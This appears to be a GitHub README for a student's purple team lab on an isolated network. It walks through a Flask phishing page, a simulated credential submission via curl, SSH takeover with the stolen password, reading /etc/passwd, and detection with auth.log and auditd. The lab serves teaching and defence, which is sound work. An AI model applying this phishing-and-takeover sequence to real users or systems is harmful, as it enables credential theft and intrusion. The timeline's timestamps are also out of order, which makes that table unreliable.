A purple team lab simulating the #1 cyber threat of 2026: identity-based attacks β phishing, credential theft, and SSH account takeover.
This lab demonstrates how a modern attacker can:
- Host a convincing phishing page
- Harvest credentials from a victim
- Use those credentials to log into a remote system via SSH
- Perform post-exploitation discovery
...and how a defender can detect every step using native Linux logging.
The lab is based on real-world trends from:
- CrowdStrike 2026 Global Threat Report
- INTERPOL African Cyberthreat Assessment 2026
- Palo Alto Unit 42 2026 Incident Response Report
- WEF Global Cybersecurity Outlook 2026
All of these identify identity attacks as the dominant threat vector in 2026.
βββββββββββββββββββββββ βββββββββββββββββββββββ
β KALI LINUX β β UBUNTU SERVER β
β (Attacker) β β (Victim) β
β 192.168.56.10 ββββββββββΊβ 192.168.56.101 β
β β β β
β β’ Flask phishing β β β’ SSH server β
β β’ SSH client β β β’ victim user β
β β’ creds.txt β β β’ auditd β
βββββββββββββββββββββββ βββββββββββββββββββββββ
β β
β VirtualBox Host-Only β
βββββββββ 192.168.56.0/24 ββββββββ
| Phase | Action | Result |
|---|---|---|
| 1 | Phishing page served on Kali:80 | Victim reaches fake SSO login |
| 2 | Victim submits credentials | creds.txt populated |
| 3 | Attacker SSHes with stolen creds | Account takeover |
| 4 | Post-exploitation discovery | whoami, id, cat /etc/passwd |
| 5 | Detection | auth.log, auditd, systemd-logind fire |
| Time (UTC) | Event | Source |
|---|---|---|
| 14:27 | victim account created |
adduser |
| 14:46 | auditd watch rules configured | auditctl |
| 15:57 | Phishing server started | Flask |
| 16:00:39 | Credentials captured | creds.txt |
| 15:01:49 | SSH login as victim |
auth.log |
| 15:01:52 | auditd logs session init | ausearch |
| 15:02:04 | Attacker exits; .bash_history written |
ausearch |
| 15:02:04 | Session closed | auth.log |
Full timeline: see incident-report.md.
| Category | Tool | Purpose |
|---|---|---|
| Attacker | Python 3 + Flask | Fake SSO login page |
| Attacker | OpenSSH client | Account takeover |
| Attacker | curl | Simulate victim submission |
| Victim | Ubuntu Server 26.04 | Target host |
| Victim | OpenSSH server | Entry point |
| Detection | auditd | Filesystem auditing |
| Detection | journald / auth.log | Auth event logging |
| Detection | systemd-logind | Session tracking |
| Tactic | Technique | ID |
|---|---|---|
| Reconnaissance | Active Scanning | T1595 |
| Resource Development | Acquire Infrastructure: Server | T1583.005 |
| Initial Access | Spearphishing Link | T1566.002 |
| Credential Access | Input Capture: Web Portal | T1056.003 |
| Initial Access | Valid Accounts: Local | T1078.003 |
| Discovery | System Owner/User Discovery | T1033 |
| Discovery | Account Discovery: Local | T1087.001 |
| Lateral Movement | Remote Services: SSH | T1021.004 |
| Collection | Data from Local System | T1005 |
| Defense Evasion | Indicator Removal (NOT used) | T1070.003 |
Load the layer in ATT&CK Navigator using mitre/attack-layer.json.
For attackers:
- Phishing remains the cheapest, fastest initial access vector
- A single captured password = full remote access
- No malware required β "living off the land" with SSH
For defenders:
- Every step was detectable using native Linux logging
- Session IDs (
ses=) correlate events across 4 log sources .bash_historyis forensic gold β attackers often forget to clear it- MFA would have stopped this attack completely
- VirtualBox (or VMware)
- Kali Linux VM
- Ubuntu Server VM
- 16 GB RAM minimum
- Set both VMs to Host-Only network (
192.168.56.0/24) - On Ubuntu:
sudo adduser victim echo "PasswordAuthentication yes" | sudo tee /etc/ssh/sshd_config.d/99-lab.conf sudo systemctl restart ssh sudo apt install -y auditd sudo auditctl -w /home/victim -p wa -k victim_home
- On Kali:
cd attack sudo python3 phish.py - From Ubuntu: simulate victim
curl -X POST http://192.168.56.10/ \ -d "username=victim@company.local" \ -d "password=Password123"
- From Kali: use stolen creds
ssh victim@192.168.56.101
- From Ubuntu: detect
sudo grep "Accepted password" /var/log/auth.log sudo ausearch -k victim_home -ts today sudo cat /home/victim/.bash_history
βββ README.md
βββ LICENSE
βββ .gitignore
βββ incident-report.md # Full IR write-up
βββ attack/
β βββ phish.py # Flask phishing server
βββ detection/
β βββ detect.sh # Real-time alert script
β βββ splunk-queries.spl # SIEM detection queries
βββ evidence/ # Raw log evidence
βββ mitre/
β βββ attack-layer.json # ATT&CK Navigator layer
βββ screenshots/ # 18 documented screenshots
This lab was performed in an isolated, host-only network with no external connectivity. All IPs are private (192.168.56.0/24). No real systems, credentials, or user data were involved.
Never run these techniques against systems you don't own or have written authorization to test.
- CrowdStrike 2026 Global Threat Report
- INTERPOL African Cyberthreat Assessment 2026
- Palo Alto Unit 42 2026 IR Report
- MITRE ATT&CK Framework
- WEF Global Cybersecurity Outlook 2026
- ENISA Threat Landscape 2026
Evans Davou Cybersecurity Student | Purple Team Enthusiast
- GitHub: @flames778
- LinkedIn: Evans Davou
MIT β see LICENSE for details.